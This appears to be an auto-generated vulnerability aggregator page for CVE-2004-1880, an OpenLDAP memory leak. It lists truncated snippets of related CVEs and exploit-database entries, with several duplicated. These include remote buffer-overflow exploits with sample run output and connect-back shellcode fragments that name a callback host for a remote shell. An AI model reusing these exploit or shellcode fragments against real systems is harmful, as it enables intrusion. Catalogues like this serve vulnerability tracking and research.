CVE-2004-1880

Technical details about CVE-2004-1880 are not provided in the connected documents. The available entries reiterate the memory leak in OpenLDAP’s back-bdb backend for 2.1.12 and earlier. Monitor for updates.

CVE-2004-1880: Undefined Security Weakness

Memory leak in the back-bdb backend for OpenLDAP 2.1.12 and earlier allows remote attackers to cause a denial of service memory consumption...

CVE-2003-1201: Access of Uninitialized Pointer

ldbmbackexoppasswd in the back-ldbm backend in passwd.c for OpenLDAP 2.1.12 and earlier, when the slappasswdparse function does not return LDAPSUCCESS, attempts to free an uninitialized pointer, which allows remote attackers to cause a denial of service segmentation fault...

dSMTP Mail Server 3.1b (Linux) - Format String

/ dSMTP - SMTP Mail Server 3.1b Linux Remote Root Format String Exploit cybertronicatgmxdotnet 05/05/2005 This exploits the "xtellmail" command! bindc0de breaks somehow, cb works fine! remote buffer space is about 256 bytes bad chars: 0x00, 0x20, 0x0a and prolly more NOTE: before you start, chang...

Yager 5.24 - Remote Buffer Overflow

/ Yager 1 -- sending handshake UDP...done! -- reading server response UDP...done! -- server port: 1089 -- connecting to 192.168.2.100:1089 TCP...done! -- exploiting WinXP Pro SP1 GER -- ret: 0x300686bd jmp esp in binkw32.dll -- exploiting packet overflow... -- sending packet...done! -- starting...

CrystalFTP Pro 2.8 - Remote Buffer Overflow

CrystalFTP Pro 2.8 - Remote Buffer Overflow / CrystalFTP Pro v2.8 Buffer Overflow Exploit 04/25/2005 despite the fact that nobody uses CrystalFTP i had to release a new version that replaces the first one. this overwrites the structured exception handler with a "pop edx pop eax ret" in...

[Full-Disclosure] : [SCAN Associates Security Advisory] vbulletin 3.0.6 and below php code injection

Summary: vbulletin 3.0.6 and below php code injection Description =========== vBulletin is a powerful, scalable and fully customizable forums package for your web site. It has been written using the Web's quickest-growing scripting language; PHP, and is complimented with a highly efficient and...

CVE-2005-0496: Use of Hard-coded Credentials

Arkeia Network Backup Client 5.x contains hard-coded credentials that effectively serve as a back door, which allows remote attackers to access the file system and possibly execute arbitrary commands...

CVE-2004-1389: Undefined Security Weakness

Unknown vulnerability in the Veritas NetBackup Administrative Assistant interface for NetBackup BusinesServer 3.4, 3.4.1, and 4.5, DataCenter 3.4, 3.4.1, and 4.5, Enterprise Server 5.1, and NetBackup Server 5.0 and 5.1, allows attackers to execute arbitrary commands via the bpjava-susvc process,...

Newspost 2.1 - socket_getline() Remote Buffer Overflow (2)

Newspost 2.1 - socketgetline Remote Buffer Overflow 2 / v0.2 Newspost "socketgetline" Buffer Overflow Exploit Exploit Bug discovered: 02/03/2005 cybertronicatgmxdotnet cybertronic @ newspost $ gcc -o newspostexpl newspostexpl.c cybertronic @ newspost $ ./newspostexpl cyber tronic Usage -----...

win xp/2000/2003 Connect Back shellcode for Overflow exploit 275 bytes

Exploit for win32 platform in category shellcode ====================================================================== win xp/2000/2003 Connect Back shellcode for Overflow exploit 275 bytes ====================================================================== /...

win xp/2000/2003 Connect Back shellcode for Overflow Exploit 275 bytes

win xp/2000/2003 Connect Back shellcode for Overflow exploit 275 bytes. Shellcode exploit for win32 platform / ----------------------------------------------------------------------- connectbackv32.c - Connect Back shellcode for Overflow exploit Copyright C 2000-2004 HUC All Rights Reserved. Auth...

bsd/x86 connect 93 bytes

Exploit for bsd/x86 platform in category shellcode ======================== bsd/x86 connect 93 bytes ======================== / the back-connect shellcode. The destination addr is 0x28402ec3 rootteam.host.sk port is 0x8ae 2222. size = 93 bytes little isn't it? Greetz 2 sp00fed written by dev0id...

solaris/SPARC connect-back 204 bytes

Exploit for solaris/sparc platform in category shellcode ==================================== solaris/SPARC connect-back 204 bytes ==================================== / Solaris shellcode - connects /bin/sh to a host Claes M. Nyberg 20020624 , / include / void mainvoid asm" ! Create socket mov 0x...

linux/SPARC connect back 216 bytes

No description provided by source. / linux sparc connect back shellcode, because someone had to evade those firewalls. sigh / / OS : Linux Architecture : Sparc Type : Connect Back Lenght : 216 Bytes Listen-Port : 2313/TCP Default IP : 192.168.100.1 see how you'll change it at the end. null bytes...

bsd/x86 connect 93 bytes

No description provided by source. / the back-connect shellcode. The destination addr is 0x28402ec3 rootteam.host.sk port is 0x8ae 2222. size = 93 bytes little isn't it? Greetz 2 sp00fed written by dev0id rus-sec /EFnet rootteam.host.sk BITS 32 jmp short path main: pop esi xor eax,eax mov byte...

linux/SPARC connect back 216 bytes

Exploit for linux/sparc platform in category shellcode ================================== linux/SPARC connect back 216 bytes ================================== / linux sparc connect back shellcode, because someone had to evade those firewalls. sigh / / OS : Linux Architecture : Sparc Type : Conne...

linux/SPARC - connect back 216 bytes

linux/SPARC connect back 216 bytes. Shellcode exploit for linuxsparc platform / linux sparc connect back shellcode, because someone had to evade those firewalls. sigh / / OS : Linux Architecture : Sparc Type : Connect Back Lenght : 216 Bytes Listen-Port : 2313/TCP Default IP : 192.168.100.1 see h...

solaris/SPARC connect-back 204 bytes

solaris/SPARC connect-back 204 bytes. Shellcode exploit for solarissparc platform / Solaris shellcode - connects /bin/sh to a host Claes M. Nyberg 20020624 , / include / void mainvoid asm" ! Create socket mov 0x2, %o0 ! o0 = AFINET mov 0x2, %o1 ! o1 = SOCKSTREAM xor %o2, %o2, %o2 ! o2 = 0 mov 0xe...

bsd/x86 - connect 93 bytes

bsd/x86 connect 93 bytes. Shellcode exploit for bsdx86 platform / the back-connect shellcode. The destination addr is 0x28402ec3 rootteam.host.sk port is 0x8ae 2222. size = 93 bytes little isn't it? Greetz 2 sp00fed written by dev0id rus-sec /EFnet rootteam.host.sk BITS 32 jmp short path main: po...